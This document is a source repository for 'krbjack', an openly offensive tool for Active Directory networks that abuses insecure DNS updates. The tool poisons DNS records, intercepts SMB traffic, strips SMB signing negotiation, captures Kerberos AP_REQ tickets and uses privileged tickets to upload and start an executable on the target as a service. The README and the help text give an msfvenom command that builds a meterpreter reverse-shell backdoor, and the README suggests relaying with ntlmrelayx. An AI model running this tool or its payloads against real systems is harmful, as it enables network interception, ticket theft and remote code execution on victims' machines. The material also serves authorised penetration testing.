├── tests └── __init__.py ├── krbjack ├── __init__.py ├── modules │ ├── __init__.py │ ├── utils.py │ └── krboversmb.py ├── utils.py ├── custompipes.py ├── __main__.py ├── tcpforward.py └── krbjacker.py ├── assets └── Krbjack_README.png ├── LICENSE ├── pyproject.toml ├── .gitignore ├── README.md └── poetry.lock /tests/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /krbjack/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /krbjack/modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /assets/Krbjack_README.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/almandin/krbjack/HEAD/assets/Krbjack_README.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | /* 2 | * ---------------------------------------------------------------------------- 3 | * "THE BEER-WARE LICENSE" (Revision 42): 4 | * wrote this file. As long as you retain this notice you 5 | * can do whatever you want with this stuff. If we meet some day, and you think 6 | * this stuff is worth it, you can buy me a beer in return. Virgile @Almandin 7 | * ---------------------------------------------------------------------------- 8 | */ -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "krbjack" 3 | version = "1.2.0" 4 | description = "Kerberos AP-REQ hijacking tool with DNS unsecure updates abuse." 5 | authors = ["Virgile Jarry "] 6 | readme = "README.md" 7 | license = "Beerware" 8 | homepage = "https://github.com/almandin/krbjack" 9 | repository = "https://github.com/almandin/krbjack" 10 | documentation = "https://github.com/almandin/krbjack/README.md" 11 | 12 | [tool.poetry.dependencies] 13 | python = "^3.9" 14 | scapy = "^2.5.0" 15 | impacket = "^0.10.0" 16 | dnspython = "^2.0.0" 17 | colorama = "^0.4.4" 18 | 19 | [build-system] 20 | requires = ["poetry-core"] 21 | build-backend = "poetry.core.masonry.api" 22 | 23 | [tool.poetry.scripts] 24 | krbjack = 'krbjack.__main__:main' -------------------------------------------------------------------------------- /krbjack/utils.py: -------------------------------------------------------------------------------- 1 | from threading import Timer 2 | 3 | 4 | # A Small utility class wrapper around threading.Timer to start 5 | # tasks periodically undefinitely unless asked to stop. 6 | # Use : t = PeriodicTimer(float -> interval, function, *args, **kwargs) 7 | # f.start() 8 | # The function passed in parameter is called instantly the first time 9 | # then every n seconds. 10 | # This class is used to perform periodic DNS poisoning. 11 | class PeriodicTimer(): 12 | def __init__(self, seconds, target, *args, **kwargs): 13 | self._should_continue = False 14 | self.is_running = False 15 | self.seconds = seconds 16 | self.target = target 17 | self.args = args 18 | self.kwargs = kwargs 19 | self.thread = None 20 | self.is_first = True 21 | 22 | def _handle_target(self): 23 | self.is_running = True 24 | self.target(*self.args, **self.kwargs) 25 | self.is_running = False 26 | self._start_timer() 27 | 28 | def _start_timer(self): 29 | if self._should_continue: 30 | if self.is_first: 31 | self.thread = Timer(0, self._handle_target) 32 | self.is_first = False 33 | else: 34 | self.thread = Timer(self.seconds, self._handle_target) 35 | self.thread.start() 36 | 37 | def start(self): 38 | if not self._should_continue and not self.is_running: 39 | self._should_continue = True 40 | self._start_timer() 41 | 42 | def cancel(self): 43 | if self.thread is not None: 44 | self._should_continue = False 45 | self.thread.cancel() 46 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/ 2 | # Byte-compiled / optimized / DLL files 3 | __pycache__/ 4 | *.py[cod] 5 | *$py.class 6 | 7 | # C extensions 8 | *.so 9 | 10 | # Distribution / packaging 11 | .Python 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | pip-wheel-metadata/ 25 | share/python-wheels/ 26 | *.egg-info/ 27 | .installed.cfg 28 | *.egg 29 | MANIFEST 30 | 31 | # PyInstaller 32 | # Usually these files are written by a python script from a template 33 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 34 | *.manifest 35 | *.spec 36 | 37 | # Installer logs 38 | pip-log.txt 39 | pip-delete-this-directory.txt 40 | 41 | # Unit test / coverage reports 42 | htmlcov/ 43 | .tox/ 44 | .nox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *.cover 51 | *.py,cover 52 | .hypothesis/ 53 | .pytest_cache/ 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | local_settings.py 62 | db.sqlite3 63 | db.sqlite3-journal 64 | 65 | # Flask stuff: 66 | instance/ 67 | .webassets-cache 68 | 69 | # Scrapy stuff: 70 | .scrapy 71 | 72 | # Sphinx documentation 73 | docs/_build/ 74 | 75 | # PyBuilder 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | .python-version 87 | 88 | # pipenv 89 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 90 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 91 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 92 | # install all needed dependencies. 93 | #Pipfile.lock 94 | 95 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 96 | __pypackages__/ 97 | 98 | # Celery stuff 99 | celerybeat-schedule 100 | celerybeat.pid 101 | 102 | # SageMath parsed files 103 | *.sage.py 104 | 105 | # Environments 106 | .env 107 | .venv 108 | env/ 109 | venv/ 110 | ENV/ 111 | env.bak/ 112 | venv.bak/ 113 | 114 | # Spyder project settings 115 | .spyderproject 116 | .spyproject 117 | 118 | # Rope project settings 119 | .ropeproject 120 | 121 | # mkdocs documentation 122 | /site 123 | 124 | # mypy 125 | .mypy_cache/ 126 | .dmypy.json 127 | dmypy.json 128 | 129 | # Pyre type checker 130 | .pyre/ 131 | -------------------------------------------------------------------------------- /krbjack/custompipes.py: -------------------------------------------------------------------------------- 1 | # Description: 2 | # A set of custom scapy pipes to overcome some lacking features 3 | # in the available ones. 4 | 5 | from scapy.all import Drain, Source 6 | import socket 7 | 8 | 9 | # A custom drain to perform a task when triggered. 10 | # Takes a function in argument to be run when triggered. 11 | class OnTriggered(Drain): 12 | def __init__(self, f, *args, name=None, **kwargs): 13 | super().__init__(name) 14 | self.f = f 15 | self.args = args 16 | self.kwargs = kwargs 17 | 18 | def on_trigger(self, trg): 19 | return self.f(trg, *self.args, **self.kwargs) 20 | 21 | 22 | # A custom drain to perform a task when receiving a message 23 | # on low or high inputs. 24 | # Takes a function as argument to be run when a message is received. 25 | # The function takes one argument, which will be the message received. 26 | class OnMessage(Drain): 27 | def __init__(self, f, *args, name=None, **kwargs): 28 | super().__init__(name) 29 | self.f = f 30 | self.args = args 31 | self.kwargs = kwargs 32 | 33 | def push(self, msg): 34 | self.f(msg, *self.args, **self.kwargs) 35 | self._send(msg) 36 | 37 | def high_push(self, msg): 38 | self.f(msg, *self.args, **self.kwargs) 39 | self._high_send(msg) 40 | 41 | 42 | # A custom drain to filter messages received. When it receives 43 | # a message, it evaluates a condition against it to decide wether 44 | # it should forward it or not. 45 | # Take a function as argument. This function takes the message as an 46 | # argument and must return True or False to decides wether this message 47 | # can be forwarded or not. 48 | class ConditionDrain(Drain): 49 | """Pass messages when a condition is met 50 | .. code:: 51 | +-------------+ 52 | >>-|-[condition]-|->> 53 | | | 54 | >-|-[condition]-|-> 55 | +-------------+ 56 | """ 57 | def __init__(self, f, name=None): 58 | Drain.__init__(self, name=name) 59 | self.f = f 60 | 61 | def push(self, msg): 62 | if self.f(msg): 63 | self._send(msg) 64 | 65 | def high_push(self, msg): 66 | if self.f(msg): 67 | self._high_send(msg) 68 | 69 | 70 | # Just like TCPConnectPipe though it does not connect to the destination 71 | # at creation but only when triggered. 72 | class TriggeredTCPConnectPipe(Source): 73 | """Exactly like a TCPConnectPipe but only connects to its destination when 74 | triggered and not before. 75 | .. code:: 76 | +------^------+ 77 | >>-| |->> 78 | | | 79 | >-|-[ message ]-|-> 80 | +------^------+ 81 | """ 82 | __selectable_force_select__ = True 83 | 84 | def __init__(self, addr="", port=0, name=None): 85 | Source.__init__(self, name=name) 86 | self.addr = addr 87 | self.port = port 88 | self.fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 89 | self.connected = False 90 | 91 | def start(self): 92 | ... # wait for trigger 93 | 94 | def on_trigger(self, data): 95 | self.fd.connect((self.addr, self.port)) 96 | self.connected = True 97 | 98 | def stop(self): 99 | if self.fd and self.connected: 100 | self.fd.close() 101 | self.connected = False 102 | 103 | def push(self, msg): 104 | self.fd.send(msg) 105 | 106 | def fileno(self): 107 | return self.fd.fileno() 108 | 109 | def deliver(self): 110 | if self.connected: 111 | try: 112 | msg = self.fd.recv(65536) 113 | except (socket.error, ValueError, ConnectionResetError): 114 | self.stop() 115 | raise 116 | if msg: 117 | self._send(msg) 118 | -------------------------------------------------------------------------------- /krbjack/modules/utils.py: -------------------------------------------------------------------------------- 1 | from impacket.smb3structs import SMB2_DIALECT_21, SMB2_SESSION_SETUP, SMB2SessionSetup 2 | from impacket.smbconnection import SMBConnection 3 | from impacket.nt_errors import STATUS_SUCCESS 4 | from impacket.smb3 import SessionError 5 | from colorama import Fore 6 | 7 | from impacket.examples import serviceinstall 8 | from impacket.dcerpc.v5 import transport 9 | from uuid import uuid4 10 | import logging 11 | import sys 12 | 13 | 14 | # A method to get an Impcaket SMBConnection object from 15 | # our hijacked gssapi blob containing a service ticket 16 | def getAuthenticatedImpacketSMBConnection(remote_name, remote_destination, gssapi_blob): 17 | connection = SMBConnection( 18 | remoteName=remote_name, remoteHost=str(remote_destination), preferredDialect=SMB2_DIALECT_21 19 | ) 20 | _server = connection.getSMBServer() # 21 | sessionSetup = SMB2SessionSetup() 22 | sessionSetup['Flags'] = 0 23 | gssapi_blob_length = len(gssapi_blob) 24 | sessionSetup['SecurityBufferLength'] = gssapi_blob_length 25 | sessionSetup['Buffer'] = gssapi_blob 26 | packet = _server.SMB_PACKET() 27 | packet['Command'] = SMB2_SESSION_SETUP 28 | packet['Data'] = sessionSetup 29 | _server._Session['PreauthIntegrityHashValue'] = _server._Connection['PreauthIntegrityHashValue'] 30 | try: 31 | packetID = _server.sendSMB(packet) 32 | ans = _server.recvSMB(packetID) 33 | if ans.isValidAnswer(STATUS_SUCCESS): 34 | print("\tKerberos auth succeeded :-)") 35 | _server._Session['SessionID'] = ans['SessionID'] 36 | _server._Session['SigningRequired'] = _server._Connection['RequireSigning'] 37 | _server._Session['Connection'] = _server._NetBIOSSession.get_socket() 38 | return connection 39 | else: 40 | return None 41 | except SessionError as e: 42 | print( 43 | f"{Fore.LIGHTRED_EX}\tSomething went wrong when hijacking the SMB connection :'(" 44 | f"\t{e}{Fore.LIGHTYELLOW_EX}" 45 | ) 46 | return None 47 | 48 | 49 | # Our home made psexec. It is basically much simpler that the impacket one 50 | # because we dont need to perform any sort of authentication, and because 51 | # we dont care to get it interactive. 52 | # It can be set up from a custom SMBConnection though, what we need here to 53 | # run it from a hijacked SMB connection obtained through scapy ! 54 | class HomeBackedPSEXEC: 55 | def __init__(self, exeFile): 56 | self.__exeFile = exeFile 57 | self.__serviceName = str(uuid4()) 58 | 59 | def run(self, connection): 60 | print("\tHijacking SMB session for DCE transport ...") 61 | rpctransport = transport.SMBTransport(remoteName=connection.getRemoteName()) 62 | rpctransport.set_smb_connection(connection) 63 | return self.doStuff(rpctransport) 64 | 65 | def doStuff(self, rpctransport): 66 | # Sets up the DCE/RPC connection through SMB 67 | dce = rpctransport.get_dce_rpc() 68 | try: 69 | dce.connect() 70 | except Exception as e: 71 | if logging.getLogger().level == logging.DEBUG: 72 | import traceback 73 | traceback.print_exc() 74 | logging.critical(str(e)) 75 | sys.exit(1) 76 | global dialect 77 | dialect = rpctransport.get_smb_connection().getDialect() 78 | # Copy, install and run the service 79 | f = open(self.__exeFile, 'rb') 80 | installService = serviceinstall.ServiceInstall( 81 | rpctransport.get_smb_connection(), f, self.__serviceName 82 | ) 83 | print(f"\tInstalling service {self.__serviceName}") 84 | if installService.install() is False: 85 | f.close() 86 | print("\tService installation error :-(") 87 | return None 88 | f.close() 89 | # Returns the service to be able to uninstall it later 90 | return installService 91 | -------------------------------------------------------------------------------- /krbjack/__main__.py: -------------------------------------------------------------------------------- 1 | from colorama import deinit as colorama_deinit 2 | from colorama import init as colorama_init 3 | from ipaddress import IPv4Address 4 | import argparse 5 | import pathlib 6 | 7 | from .krbjacker import KrbJacker 8 | 9 | 10 | class SplitIntArgs(argparse.Action): 11 | def __call__(self, parser, namespace, values, option_string=None): 12 | try: 13 | setattr(namespace, self.dest, [int(x) for x in values.split(',')]) 14 | except ValueError: 15 | parser.error( 16 | "Port numbers must be comma-separated integers. Example : 139,445." 17 | ) 18 | 19 | 20 | def main(): 21 | print( 22 | """ 23 | ██╗ ██╗██████╗ ██████╗ ██╗ █████╗ ██████╗██╗ ██╗ 24 | ██║ ██╔╝██╔══██╗██╔══██╗ ██║██╔══██╗██╔════╝██║ ██╔╝ 25 | █████╔╝ ██████╔╝██████╔╝ ██║███████║██║ █████╔╝ 26 | ██╔═██╗ ██╔══██╗██╔══██╗██ ██║██╔══██║██║ ██╔═██╗ 27 | ██║ ██╗██║ ██║██████╔╝╚█████╔╝██║ ██║╚██████╗██║ ██╗ 28 | ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚════╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ 29 | A full duplex man-in-the-middle tool to abuse unsecure updates DNS 30 | configuration on active directory and Kerberos AP_REQ hijacking. 31 | Please read the README/wiki to understand what you are doing here, 32 | a DoS is easy to do from there... 33 | - @almandin 34 | """ 35 | ) 36 | parser = argparse.ArgumentParser( 37 | prog="krbjack", 38 | epilog="Use at your own risk, read the README to know side effects of this tool." 39 | " - Virgile @almandin" 40 | ) 41 | subparsers = parser.add_subparsers(required=True, dest="sub_cmd", metavar="command") 42 | subcommand_check = subparsers.add_parser( 43 | 'check', help="Only check if DNS unsecure updates are possible." 44 | ) 45 | subcommand_check.add_argument( 46 | "--domain", type=str, required=True, 47 | help="The name of the Active Directory domain in use" 48 | ) 49 | subcommand_check.add_argument( 50 | "--dc-ip", type=IPv4Address, required=True, 51 | help="The IP address of the domain controller we want to talk to to perform DNS records" 52 | " poisoning" 53 | ) 54 | subcommand_exploit = subparsers.add_parser( 55 | 'run', help="Exploit the DNS insecure update misconfiguration" 56 | ) 57 | subcommand_exploit.add_argument( 58 | "--domain", type=str, required=True, 59 | help="The name of the Active Directory domain in use" 60 | ) 61 | subcommand_exploit.add_argument( 62 | "--dc-ip", type=IPv4Address, required=True, 63 | help="The IP address of the domain controller we want to talk to to perform DNS records" 64 | " poisoning" 65 | ) 66 | subcommand_exploit.add_argument( 67 | "--no-poison", required=False, action="store_true", 68 | help="Start traffic forwarding and inspection without poisoning DNS records" 69 | ) 70 | subcommand_exploit.add_argument( 71 | "--target-name", required=True, type=str, 72 | help="The Netbios name (without domain name) of the machine you want to attack." 73 | ) 74 | subcommand_exploit.add_argument( 75 | "--target-ip", required=True, type=IPv4Address, 76 | help="The IP address of your target, can be used if it looks complicated to get this" 77 | " tool choose the right one from the ones listed by the DNS server" 78 | ) 79 | subcommand_exploit.add_argument( 80 | "--ports", action=SplitIntArgs, required=True, default=[], 81 | help="List of TCP ports to forward from the incoming clients to the attacked system." 82 | " Comma-separated port numbers. Example : 139,445,8080." 83 | ) 84 | subcommand_exploit.add_argument( 85 | "--executable", type=pathlib.Path, required=True, 86 | help=( 87 | "The executable to push and execute to the remote target. " 88 | "Can be generated with msfvenom type exe-service. " 89 | "Example : msfvenom -p windows/x64/meterpreter/reverse_tcp " 90 | "-f exe-service -o backdoor.exe LHOST=X LPORT=Y. If the executable" 91 | " is not a service executable, it will still work, though the process" 92 | " will be killed after a few seconds by windows if it takes too long to" 93 | " run." 94 | ) 95 | ) 96 | # Feeling too lazy to implement automatic module detection, they must be listed here 97 | # for the time being. 98 | modules = ["krboversmb"] 99 | 100 | args = parser.parse_args() 101 | colorama_init() 102 | jacker = KrbJacker(args, modules) 103 | try: 104 | jacker.run() # Stops when target owned 105 | for m in jacker.running_modules: 106 | if m.requires_cleaning: 107 | m.cleanup() 108 | except KeyboardInterrupt: 109 | print("Asking children threads to stop ...") 110 | print("Please wait if you don't want to DoS your target 🙏") 111 | jacker.stop_forwarding() 112 | if jacker.is_poisoning_active: 113 | jacker.unpoison() 114 | for m in jacker.running_modules: 115 | if m.requires_cleaning: 116 | m.cleanup() 117 | colorama_deinit() 118 | print("Bye.") 119 | 120 | 121 | if __name__ == "__main__": 122 | main() 123 | -------------------------------------------------------------------------------- /krbjack/modules/krboversmb.py: -------------------------------------------------------------------------------- 1 | from scapy.layers.smb2 import SMB2_Header, SMB2_Session_Setup_Request 2 | from krbjack.modules.utils import HomeBackedPSEXEC 3 | from impacket.smbconnection import SessionError 4 | from scapy.layers.kerberos import KRB_AP_REQ 5 | from scapy.layers.spnego import SPNEGO_Token 6 | 7 | from .utils import getAuthenticatedImpacketSMBConnection 8 | 9 | """ 10 | This module is made to catch AP_REQ on the fly in SMB connections from clients to the 11 | destination target. When AP_REQ is received, it checks if it belongs to a privileged 12 | user on the target. If it is the case, the ticket is used directly to push the chosen 13 | binary on the remote system, creates and starts a service for it. 14 | """ 15 | 16 | 17 | class Module: 18 | # This attribute is used to specify a TCP port on which the packets will be checked. 19 | # The method which determines if packets are interesting will only see packets incoming 20 | # from this TCP port. 21 | port = 445 22 | # This flag is used to decide wether this module has a cleanup() method or not, which 23 | # should be called before ending everything. 24 | # Here we need to uninstall a service because of how psexec works 25 | requires_cleaning = True 26 | 27 | def __init__(self, args): 28 | self.service = None 29 | 30 | # The function that must return True of False to indicate wether a packet is supposed 31 | # "interesting" or not (if it contains an AP_REQ or not for our use case). 32 | # args: 33 | # - peer : the client sending the packet (2-tuple ip, source_port) 34 | # - dport: the local port that received the packet (the one the target destination would have 35 | # received the packet on) 36 | # - data : the packet itself, in raw bytes 37 | # Return: 38 | # The method must return a 2-tuple : bool, self 39 | # The boolean indicates if the packet is supposed to be interesting 40 | # The second element must be the self object 41 | def packet_to_catch(self, peer, dport, data): 42 | # This is where we want to return True if a packet contains an AP_REQ 43 | ip, sport = peer 44 | if dport == 445 and data[4:8] == b'\xfeSMB' and data[16:18] == b'\x01\x00': 45 | pkt = SMB2_Header(data[4:]) 46 | try: 47 | # Trying to match an SMB2_session setup request with an 48 | # SPNEGO token which happens to be a Kerberos AP_REQ 49 | if isinstance( 50 | pkt[SMB2_Session_Setup_Request].Buffer[0][1][SPNEGO_Token] 51 | .value.root.innerContextToken.root, 52 | KRB_AP_REQ 53 | ): 54 | return True, self 55 | except (KeyError, AttributeError): 56 | return False, self 57 | return False, self 58 | 59 | # What runs when an interesting packet is seen: 60 | # args : 61 | # jacker : the KrbJacker instance, with all its arguments 62 | # client_ip : the ip of the client sending the interesting packet (2-tuple ip, srcport) 63 | # the_packet : the interesting packet 64 | # must return a bool stating wether or not the attack is successful. 65 | # True/successful -> the entire program exits, DNS is set back to normal, forwarding is 66 | # stopped ; 67 | # False/unsuccessful -> forwarding is set up again, the client is added to 68 | # the whitelist of clients not to inspect traffic from. 69 | def run(self, jacker, client_ip, the_packet): 70 | if jacker.args.executable is None: 71 | return False 72 | print("=== KRB hijacking module ===") 73 | pkt = SMB2_Header(the_packet[4:]) 74 | # Fetch the AP_REQ 75 | apreq = ( 76 | pkt[SMB2_Session_Setup_Request].Buffer[0][1][SPNEGO_Token] 77 | .value.root.innerContextToken.root 78 | ) 79 | # Display the realm and SPN for the ST 80 | print(f"\tTicket captured from {client_ip[0]} ! ") 81 | print( 82 | f"\trealm : {apreq.ticket.realm.val}, service : " 83 | f"{apreq.ticket.sname.nameString[0].val}/{apreq.ticket.sname.nameString[1].val}" 84 | ) 85 | # setting up the impacket SMBConnection from the previously hijacked one 86 | authenticated_setup_request = pkt[SMB2_Session_Setup_Request] 87 | gssapi_blob_length = authenticated_setup_request.SecurityLen 88 | gssapi_blob = the_packet[-gssapi_blob_length:] 89 | connection = getAuthenticatedImpacketSMBConnection( 90 | jacker.destination_name, jacker.destination_ip, gssapi_blob 91 | ) 92 | if connection is None: 93 | print("\tThe connection could not be hijacked, the stolen ticket didnt work.") 94 | return False 95 | # Checking if the user will be able to psexec 96 | print("\tNow let's see if this ticket belongs to a privileged user ...") 97 | try: 98 | connection.listPath("ADMIN$", "/*") 99 | print("\t=== Admin connection set up !!!") 100 | print("\t=== Launching home-baked/modified psexec ...") 101 | # Runs our modified/simpler psexec 102 | executer = HomeBackedPSEXEC(jacker.args.executable) 103 | self.service = executer.run(connection) 104 | if self.service is not None: 105 | print("\tService installed and running !") 106 | return True 107 | else: 108 | return False 109 | except SessionError: 110 | return False 111 | 112 | # This method can be used to clean stuff. It is called if necessary as defined in 113 | # this class "requires_cleaning" attribute 114 | def cleanup(self): 115 | if self.service is not None: 116 | print("\tUninstalling service ...") 117 | self.service.uninstall() 118 | -------------------------------------------------------------------------------- /krbjack/tcpforward.py: -------------------------------------------------------------------------------- 1 | from scapy.pipetool import TransformDrain 2 | from scapy.all import PipeEngine 3 | import socketserver 4 | import threading 5 | import socket 6 | 7 | from .custompipes import ConditionDrain, OnMessage, TriggeredTCPConnectPipe 8 | 9 | 10 | # Serverclass that can be instantiated to forward traffic from a local port to another remote 11 | # destination. This TCP forward transfers every single packet from the connecting client to a 12 | # local pipeline which categorizes packets. If the `cond_f` function of the socketserver returns 13 | # False, the packet is forward to the remote destination. If it returns True, the packet is not 14 | # forwarded, the entire forwarding is stopped and the thread notifies every other started threads 15 | # to do so. The packet is then pushed to the main thread through a dedicated Queue. 16 | class TCPForwarder(socketserver.StreamRequestHandler): 17 | def setup(self): # method invoked when a client connects 18 | print(f"--->TCP Forward initiated from {self.client_address} to {self.server.destination}") 19 | 20 | # Method used to check wether a should be forwarded or not: 21 | def let_client_data_pass(data): 22 | # Here, server.condition_functions contain a list of functions declared by 23 | # modules to check wether a packet is interesting. 24 | for f in self.server.condition_functions: 25 | r, module = f(self.client_address, self.server.destination[1], data) 26 | if r: 27 | self.server.interesting_packet_queue.put((self.client_address, data, module)) 28 | self.server.should_stop = True 29 | return False 30 | return True 31 | 32 | # Method used to modify packets on the fly before being sent back to a client. 33 | # Here some SMB flags are removed to prevent SMB signature to occur when it is supported by 34 | # both clients and servers but not required. 35 | def transform_serv_data(data): 36 | if self.server.destination[1] == 445 and data[0:4] == b'\xfe\x53\4d\x42': 37 | return data.replace(b'\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a', b'') 38 | else: 39 | return data 40 | 41 | # Scapy plumbing to actualy perform the forwarding from a client, to our pipeline of 42 | # methods : 43 | # client -> checkIfPacketIsInteresting -> Server -> modifyServerAnswer -> client 44 | # | 45 | # | contains AP_REQ 46 | # v 47 | # stop everything and notify main thread 48 | self.dest_pipe = TriggeredTCPConnectPipe(*self.server.destination) 49 | self.passdrain = OnMessage(lambda pkt: self.request.send(pkt)) 50 | self.transformservdrain = TransformDrain(transform_serv_data) 51 | is_client_ignored = self.client_address[0] in self.server.ignore_ips 52 | # small whitelist here 53 | if not is_client_ignored: 54 | self.cond_pipe = ConditionDrain(let_client_data_pass) 55 | else: 56 | print(f"New connection from ignored ip {self.client_address[0]}") 57 | self.cond_pipe = ConditionDrain(lambda _: True) 58 | self.cond_pipe > self.dest_pipe > self.transformservdrain > self.passdrain 59 | self.pipeline = PipeEngine(self.dest_pipe) 60 | if not is_client_ignored: 61 | self.pipeline.add(self.cond_pipe) 62 | self.pipeline.start() 63 | self.dest_pipe.on_trigger(b'') 64 | self.request.setblocking(True) 65 | 66 | def handle(self): # method invoked when receiving data 67 | try: 68 | while not self.server.should_stop: 69 | data = self.request.recv(65535, socket.SOCK_NONBLOCK) 70 | if data == b'': 71 | break 72 | self.cond_pipe.push(data) 73 | except BrokenPipeError: 74 | self.finish("brokenpipe") 75 | except ConnectionResetError: 76 | self.finish("reset by peer") 77 | 78 | def finish(self, reason="client disconnected"): # method invoked when a client disconnects 79 | print(f"--->TCP Forward ended for {self.client_address} ({reason})") 80 | self.pipeline.stop() 81 | 82 | 83 | # A class to represents a Thread which starts a tcp forwarding server. It it is then possible with 84 | # that to instantiate multiple instances to start forwarding for multiple different ports. 85 | # Initialisation is done with the following arguments : 86 | # destination (str) : ip of the server to which forward traffic 87 | # port (int) : tcp port to which forward traffic on the destination server (will also be 88 | # the port to listen to localy to perform forwarding) 89 | # packet_queue : A queue.Queue object in which the first "interesting" packet will be 90 | # pushed to. 91 | # condition_functions : A list of functions used to check wether a packet is interesting. 92 | # The functions must return a 2-tuple with the following two informations: 93 | # bool : is the packet interesting 94 | # object: the module object itself (self) to know which module 95 | # declared the packet interesting 96 | # ignore_ips : A set of IPs we dont want to inspect and modify packets. These clients 97 | # will have their packets forwarded as-is without inspection. 98 | class TCPForwardThread(threading.Thread): 99 | def __init__(self, destination, port, packet_queue, condition_functions, ignore_ips): 100 | threading.Thread.__init__(self) 101 | self.name = f"TCPForwarderThread-{destination}:{port}" 102 | socketserver.TCPServer.allow_reuse_address = True 103 | self.forwarder = socketserver.ThreadingTCPServer(("0.0.0.0", port), TCPForwarder) 104 | self.forwarder.destination = (str(destination), port) 105 | self.forwarder.should_stop = False 106 | self.forwarder.interesting_packet_queue = packet_queue 107 | self.forwarder.condition_functions = condition_functions 108 | self.forwarder.ignore_ips = ignore_ips 109 | 110 | def run(self): 111 | self.forwarder.serve_forever() 112 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # KRBJack 2 | 3 | This tool can be used to abuse the dangerous `ZONE_UPDATE_UNSECURE` flag on DNS main domain zone in an Active Directory. This flag when set allows anyone unauthenticated to update, add and remove DNS records anonymously. It is quite common to see it during engagements as it is required to get some DHCP servers working with non-windows based systems, to get them update their own records. Even though this flag is extremely dangerous, I've never seen any tool to ease its exploitation. What I wanted to build is a mean to perform Man-in-the-Middle based on this dangerous flag, grab credentials and use them directly to own systems or the entire active directory services (though multiple tools can be used together to perform ntlm relay for example). 4 | 5 | The benefit from using this technique of man in the middle is that it goes through routers, as the "official" DNS records are poisonned. If proper routing is set (and if no firewall rule prevents it), someone on another broadcast domain can be targeted (unlike ARP poisoning which only works on you broadcast domain). 6 | 7 | Moreover I made the choice to perform fully functionnal AP_REQ hijacking to allow compromission of systems using kerberos instead of NetNTLM. 8 | 9 | ![image](assets/Krbjack_README.png) 10 | 11 | 12 | # Install 13 | 14 | ```bash 15 | sudo python -m pip install krbjack 16 | ``` 17 | 18 | You do need to install the tool with root rights as it will need to be runnable by root to listen to privileged ports. Alternatively you can have fun with virtual envs. Alternatively you can download this repo and use `poetry` to install it. 19 | 20 | # Usage 21 | 22 | ```sudo krbjack { check | run --target-name --target-ip --ports --executable [--no-poison] } --domain --dc-ip [--help]``` 23 | 24 | krbjack is currently working with two modes : 25 | 26 | ## Check mode 27 | 28 | ```krbjack check --domain DOMAIN --dc-ip DC_IP [-h]``` 29 | 30 | - `--domain` : The domain name to which your target is joined. Example : `windomain.local` 31 | 32 | - `--dc-ip` : The IP address of the domain controller you will be poisoning DNS records. Can be any domain controller as the DNS zones will be replicated automatically. Example : `192.168.42.10` 33 | 34 | ## Run mode 35 | 36 | ```krbjack run --domain DOMAIN --dc-ip DC_IP --target-name TARGET_NAME --target-ip TARGET_IP --ports PORTS --executable EXECUTABLE [--no-poison] [-h]``` 37 | 38 | - `--domain` : The domain name to which your target is joined. Example : `windomain.local` 39 | - `--dc-ip` : The IP address of the domain controller you will be poisoning DNS records. Can be any domain controller as the DNS zones will be replicated automatically. Example : `192.168.42.10` 40 | - `--target-name` : The netbios name of your target, the one you will impersonate, the one you want will pwn if successful. Example : `winserv2` 41 | - `--target-ip` : You might want to specify the IP address of your target. The alternative is to let this tool query the DNS to get its IP addresses. A quick naive scan is performed to choose one IP from the ones returned by the DNS though this method is flawed. Example: `192.168.42.20` 42 | - `--ports` : An optional list of TCP ports which will be open on your attacker's machine to forward traffic to your target. This list is *very* important because if you omit one port which is open on the legitimate service (your target), clients wont be able to access it during the time of the attack. Setting this list of ports correctly is the key to perform the attack without doing to much of a mess in the network. Example : `135,139,445,80,443,8080` 43 | - `--executable ` : An optional path to an executable on your attacker's machine. This executable will be uploaded and executed psexec-style on your target if the attack succeeds. Example : `/home/almandin/metx64revtcp.exe`. 44 | 45 | The executable you provide can be either a "standard" executable, or a windows service executable (better). If it is a "standard" executable, windows will kill it when running after a few seconds if it has not ended already, because as it is run as a service, Windows expects it to do proper signaling (behave as a true service). Though it still works, you might want to migrate quickly your meterpreter when the session is established. 46 | 47 | If you use a windows service executable, you're good to go, nothing to add here. You can generate such executables with msfvenom with the `exe-service` format: 48 | 49 | msfvenom -f exe-service -o backdoor.exe -p windows/x64/meterpreter/reverse_tcp LHOST=X LPORT=Y 50 | 51 | - `--no-poison` : Additionnal flag that can be used to set all the mess in place but prevent DNS poisoning from being done. Just in case you managed to poison DNS yourself or if you found another way to point clients to you instead of the legitimate service. 52 | 53 | ## Alternative use cases 54 | 55 | You can use krbjack to only poison dns records, or in combination to ntlmrelayx as well. If you do not specify any executable, no remote code execution will be performed, only dns poisonning will be performed. You can use this and specify ports to forward to catch traffic between your target and any system that tries to reach it by DNS name. 56 | 57 | If you do not provide any ports, no tcp forwarding will be performed. This enables to use ntlmrelayx with an unsecure dns update abuse. Example : `krbjack run --target-name winserv --domain windomain.local --dc-ip 10.0.0.1`. This will start dns poisonning. At the same time you can start ntlmrelayx : `ntlmrelayx.py -t 10.0.0.42 -smb2support` to try to execute code to the 10.0.0.42 